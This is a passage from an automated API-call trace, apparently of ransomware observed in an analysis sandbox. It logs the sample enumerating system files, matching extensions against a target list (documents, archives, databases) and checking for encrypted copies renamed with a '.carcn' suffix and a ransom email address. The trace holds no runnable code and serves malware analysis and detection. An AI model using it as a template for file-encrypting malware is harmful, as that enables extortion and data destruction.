lstrlenW (lpString=".dbf") returned 4 [0297.731] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0297.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0297.731] lstrlenW (lpString=".1cd") returned 4 [0297.731] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0297.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0297.731] lstrlenW (lpString=".jpg") returned 4 [0297.731] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0297.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0297.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0297.732] lstrlenW (lpString=".doc") returned 4 [0297.732] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0297.732] lstrlenW (lpString=".docx") returned 5 [0297.732] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0297.732] lstrlenW (lpString=".pdf") returned 4 [0297.732] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0297.732] lstrlenW (lpString=".xls") returned 4 [0297.732] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0297.732] lstrlenW (lpString=".xlsx") returned 5 [0297.732] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0297.732] lstrlenW (lpString=".ppt") returned 4 [0297.732] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0297.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0297.732] lstrlenW (lpString=".zip") returned 4 [0297.732] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0297.732] lstrlenW (lpString=".rar") returned 4 [0297.732] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0297.732] lstrlenW (lpString=".bz2") returned 4 [0297.732] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0297.732] lstrlenW (lpString=".7z") returned 3 [0297.732] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0297.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0297.732] lstrlenW (lpString=".dbf") returned 4 [0297.732] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0297.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0297.732] lstrlenW (lpString=".1cd") returned 4 [0297.733] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0297.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0297.733] lstrlenW (lpString=".jpg") returned 4 [0297.733] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0297.733] lstrcmpiW (lpString1=".tlb", lpString2=".carcn") returned 1 [0297.733] lstrlenW (lpString="msado26.tlb") returned 11 [0297.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0297.734] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=70656) returned 1 [0297.734] CloseHandle (hObject=0x398) returned 1 [0297.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20 [0297.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.734] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0297.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0297.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0297.740] lstrlenW (lpString=".doc") returned 4 [0297.740] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0297.744] lstrlenW (lpString=".docx") returned 5 [0297.744] lstrcmpiW (lpString1=".docx", lpString2="6.tlb") returned -1 [0297.744] lstrlenW (lpString=".pdf") returned 4 [0297.744] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0297.744] lstrlenW (lpString=".xls") returned 4 [0297.744] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0297.744] lstrlenW (lpString=".xlsx") returned 5 [0297.744] lstrcmpiW (lpString1=".xlsx", lpString2="6.tlb") returned -1 [0297.744] lstrlenW (lpString=".ppt") returned 4 [0297.744] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0297.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0297.744] lstrlenW (lpString=".zip") returned 4 [0297.744] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0297.744] lstrlenW (lpString=".rar") returned 4 [0297.745] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0297.745] lstrlenW (lpString=".bz2") returned 4 [0297.745] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0297.745] lstrlenW (lpString=".7z") returned 3 [0297.745] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0297.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0297.745] lstrlenW (lpString=".dbf") returned 4 [0297.745] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0297.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0297.745] lstrlenW (lpString=".1cd") returned 4 [0297.745] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0297.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0297.745] lstrlenW (lpString=".jpg") returned 4 [0297.745] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0297.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0297.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0297.745] lstrlenW (lpString=".doc") returned 4 [0297.745] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0297.745] lstrlenW (lpString=".docx") returned 5 [0297.745] lstrcmpiW (lpString1=".docx", lpString2="6.tlb") returned -1 [0297.745] lstrlenW (lpString=".pdf") returned 4 [0297.745] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0297.745] lstrlenW (lpString=".xls") returned 4 [0297.746] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0297.746] lstrlenW (lpString=".xlsx") returned 5 [0297.746] lstrcmpiW (lpString1=".xlsx", lpString2="6.tlb") returned -1 [0297.746] lstrlenW (lpString=".ppt") returned 4 [0297.746] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0297.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0297.746] lstrlenW (lpString=".zip") returned 4 [0297.746] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0297.746] lstrlenW (lpString=".rar") returned 4 [0297.746] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0297.746] lstrlenW (lpString=".bz2") returned 4 [0297.746] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0297.746] lstrlenW (lpString=".7z") returned 3 [0297.746] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0297.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0297.746] lstrlenW (lpString=".dbf") returned 4 [0297.746] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0297.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0297.746] lstrlenW (lpString=".1cd") returned 4 [0297.746] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0297.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52 [0297.746] lstrlenW (lpString=".jpg") returned 4 [0297.747] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0297.747] lstrcmpiW (lpString1=".tlb", lpString2=".carcn") returned 1 [0297.747] lstrlenW (lpString="msado27.tlb") returned 11 [0297.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0297.749] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=71168) returned 1 [0297.749] CloseHandle (hObject=0x398) returned 1 [0297.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20 [0297.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0297.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52 [0297.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52 [0297.750] lstrlenW (lpString=".doc") returned 4 [0297.750] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0297.750] lstrlenW (lpString=".docx") returned 5 [0297.750] lstrcmpiW (lpString1=".docx", lpString2="7.tlb") returned -1 [0297.750] lstrlenW (lpString=".pdf") returned 4 [0297.750] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0297.750] lstrlenW (lpString=".xls") returned 4 [0297.750] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0297.750] lstrlenW (lpString=".xlsx") returned 5 [0297.750] lstrcmpiW (lpString1=".xlsx", lpString2="7.tlb") returned -1 [0297.750] lstrlenW (lpString=".ppt") returned 4 [0297.750] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0297.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52 [0297.750] lstrlenW (lpString=".zip") returned 4 [0297.750] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0297.750] lstrlenW (lpString=".rar") returned 4 [0297.750] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0297.750] lstrlenW (lpString=".bz2") returned 4 [0297.750] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0297.750] lstrlenW (lpString=".7z") returned 3 [0297.750] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0297.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52 [0297.750] lstrlenW (lpString=".dbf") returned 4 [0297.750] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0297.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52 [0297.750] lstrlenW (lpString=".1cd") returned 4 [0297.751] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0297.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52 [0297.751] lstrlenW (lpString=".jpg") returned 4 [0297.751] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0297.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52 [0297.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52 [0297.751] lstrlenW (lpString=".doc") returned 4 [0297.751] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0297.751] lstrlenW (lpString=".docx") returned 5 [0297.751] lstrcmpiW (lpString1=".docx", lpString2="7.tlb") returned -1 [0297.751] lstrlenW (lpString=".pdf") returned 4 [0297.751] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0297.751] lstrlenW (lpString=".xls") returned 4 [0297.751] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0297.751] lstrlenW (lpString=".xlsx") returned 5 [0297.751] lstrcmpiW (lpString1=".xlsx", lpString2="7.tlb") returned -1 [0297.751] lstrlenW (lpString=".ppt") returned 4 [0297.751] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0297.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52 [0297.751] lstrlenW (lpString=".zip") returned 4 [0297.751] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0297.751] lstrlenW (lpString=".rar") returned 4 [0297.751] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0297.752] lstrlenW (lpString=".bz2") returned 4 [0297.752] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0297.752] lstrlenW (lpString=".7z") returned 3 [0297.752] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0297.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52 [0297.752] lstrlenW (lpString=".dbf") returned 4 [0297.752] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0297.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52 [0297.752] lstrlenW (lpString=".1cd") returned 4 [0297.752] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0297.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52 [0297.752] lstrlenW (lpString=".jpg") returned 4 [0297.752] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0297.752] lstrcmpiW (lpString1=".tlb", lpString2=".carcn") returned 1 [0297.752] lstrlenW (lpString="msado28.tlb") returned 11 [0297.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0297.753] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=70656) returned 1 [0297.753] CloseHandle (hObject=0x398) returned 1 [0297.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20 [0297.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0297.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52 [0297.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52 [0297.754] lstrlenW (lpString=".doc") returned 4 [0297.754] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0297.754] lstrlenW (lpString=".docx") returned 5 [0297.754] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1 [0297.754] lstrlenW (lpString=".pdf") returned 4 [0297.754] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0297.754] lstrlenW (lpString=".xls") returned 4 [0297.754] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0297.754] lstrlenW (lpString=".xlsx") returned 5 [0297.754] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1 [0297.754] lstrlenW (lpString=".ppt") returned 4 [0297.754] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0297.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52 [0297.754] lstrlenW (lpString=".zip") returned 4 [0297.754] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0297.754] lstrlenW (lpString=".rar") returned 4 [0297.754] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0297.754] lstrlenW (lpString=".bz2") returned 4 [0297.754] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0297.754] lstrlenW (lpString=".7z") returned 3 [0297.754] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0297.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52 [0297.754] lstrlenW (lpString=".dbf") returned 4 [0297.754] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0297.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52 [0297.754] lstrlenW (lpString=".1cd") returned 4 [0297.755] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0297.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52 [0297.755] lstrlenW (lpString=".jpg") returned 4 [0297.755] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0297.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52 [0297.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52 [0297.755] lstrlenW (lpString=".doc") returned 4 [0297.755] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0297.755] lstrlenW (lpString=".docx") returned 5 [0297.755] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1 [0297.755] lstrlenW (lpString=".pdf") returned 4 [0297.755] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0297.755] lstrlenW (lpString=".xls") returned 4 [0297.755] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0297.755] lstrlenW (lpString=".xlsx") returned 5 [0297.755] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1 [0297.755] lstrlenW (lpString=".ppt") returned 4 [0297.755] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0297.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52 [0297.755] lstrlenW (lpString=".zip") returned 4 [0297.755] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0297.755] lstrlenW (lpString=".rar") returned 4 [0297.755] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0297.755] lstrlenW (lpString=".bz2") returned 4 [0297.755] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0297.756] lstrlenW (lpString=".7z") returned 3 [0297.756] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0297.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52 [0297.756] lstrlenW (lpString=".dbf") returned 4 [0297.756] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0297.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52 [0297.756] lstrlenW (lpString=".1cd") returned 4 [0297.756] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0297.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52 [0297.756] lstrlenW (lpString=".jpg") returned 4 [0297.756] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0297.756] lstrcmpiW (lpString1=".tlb", lpString2=".carcn") returned 1 [0297.756] lstrlenW (lpString="msado60.tlb") returned 11 [0297.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0297.757] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=70656) returned 1 [0297.757] CloseHandle (hObject=0x398) returned 1 [0297.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb")) returned 0x20 [0297.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0297.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52 [0297.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52 [0297.758] lstrlenW (lpString=".doc") returned 4 [0297.758] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0297.758] lstrlenW (lpString=".docx") returned 5 [0297.758] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0297.758] lstrlenW (lpString=".pdf") returned 4 [0297.758] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0297.758] lstrlenW (lpString=".xls") returned 4 [0297.758] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0297.758] lstrlenW (lpString=".xlsx") returned 5 [0297.758] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0297.758] lstrlenW (lpString=".ppt") returned 4 [0297.758] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0297.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52 [0297.758] lstrlenW (lpString=".zip") returned 4 [0297.758] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0297.758] lstrlenW (lpString=".rar") returned 4 [0297.759] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0297.759] lstrlenW (lpString=".bz2") returned 4 [0297.759] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0297.759] lstrlenW (lpString=".7z") returned 3 [0297.759] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0297.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52 [0297.759] lstrlenW (lpString=".dbf") returned 4 [0297.759] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0297.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52 [0297.759] lstrlenW (lpString=".1cd") returned 4 [0297.759] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0297.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52 [0297.759] lstrlenW (lpString=".jpg") returned 4 [0297.759] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0297.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52 [0297.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52 [0297.759] lstrlenW (lpString=".doc") returned 4 [0297.759] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0297.759] lstrlenW (lpString=".docx") returned 5 [0297.759] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0297.759] lstrlenW (lpString=".pdf") returned 4 [0297.759] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0297.759] lstrlenW (lpString=".xls") returned 4 [0297.760] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0297.760] lstrlenW (lpString=".xlsx") returned 5 [0297.760] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0297.760] lstrlenW (lpString=".ppt") returned 4 [0297.760] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0297.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52 [0297.760] lstrlenW (lpString=".zip") returned 4 [0297.760] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0297.760] lstrlenW (lpString=".rar") returned 4 [0297.760] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0297.760] lstrlenW (lpString=".bz2") returned 4 [0297.760] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0297.760] lstrlenW (lpString=".7z") returned 3 [0297.760] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0297.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52 [0297.760] lstrlenW (lpString=".dbf") returned 4 [0297.760] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0297.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52 [0297.760] lstrlenW (lpString=".1cd") returned 4 [0297.760] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0297.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52 [0297.760] lstrlenW (lpString=".jpg") returned 4 [0297.760] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0297.761] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0297.761] lstrlenW (lpString="msadomd.dll") returned 11 [0297.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0298.469] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=364032) returned 1 [0298.469] CloseHandle (hObject=0x398) returned 1 [0298.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll")) returned 0x20 [0298.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0298.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52 [0298.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52 [0298.470] lstrlenW (lpString=".doc") returned 4 [0298.470] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.470] lstrlenW (lpString=".docx") 